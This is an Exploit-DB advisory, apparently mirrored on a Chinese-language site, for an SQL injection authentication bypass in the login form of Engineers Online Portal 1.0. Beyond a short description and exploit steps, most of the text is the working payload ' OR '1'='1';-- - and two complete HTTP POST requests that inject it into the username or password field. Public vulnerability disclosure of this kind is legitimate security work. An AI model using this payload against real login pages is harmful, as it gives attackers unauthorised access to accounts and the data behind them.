Engineers Online Portal 1.0 – ‘multiple’ Authentication Bypass

  • 作者: Alon Leviev
    日期: 2021-10-25
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50452/
  • # Exploit Title: Engineers Online Portal 1.0 - 'multiple' Authentication Bypass
    # Exploit Author: Alon Leviev
    # Date: 22-10-2021
    # Category: Web application
    # Vendor Homepage: https://www.sourcecodester.com/php/13115/engineers-online-portal-php.html
    # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/nia_munoz_monitoring_system.zip
    # Version: 1.0
    # Tested on: Kali Linux 
    # Vulnerable page: login.php
    # VUlnerable parameters: "username", "password"
    
    Technical description:
    An SQL Injection vulnerability exists in the Engineers Online Portal login form which can allow an attacker to bypass authentication. 
    
    Steps to exploit:
    1) Navigate to http://localhost/nia_munoz_monitoring_system/login.php
    2) Insert your payload in the user or password field 
    3) Click login
    
    Proof of concept (Poc):
    The following payload will allow you to bypass the authentication mechanism of the Engineers Online Portal login form - 
    ' OR '1'='1';-- -
    
    --- 
    
    POST /nia_munoz_monitoring_system/login.php HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 41
    Origin: http://localhost
    Connection: close
    Referer: http://localhost/nia_munoz_monitoring_system/
    Cookie: PHPSESSID=3ptqlolbrddvef5a0k8ufb28c9
    
    username='+or+'1'%3D'1'%3B--+-&password=sqli
    
    OR
    
    POST /nia_munoz_monitoring_system/login.php HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 44
    Origin: http://localhost
    Connection: close
    Referer: http://localhost/nia_munoz_monitoring_system/
    Cookie: PHPSESSID=3ptqlolbrddvef5a0k8ufb28c9
    
    username=sqli&password='+or+'1'%3D'1'%3B--+-
    
    ---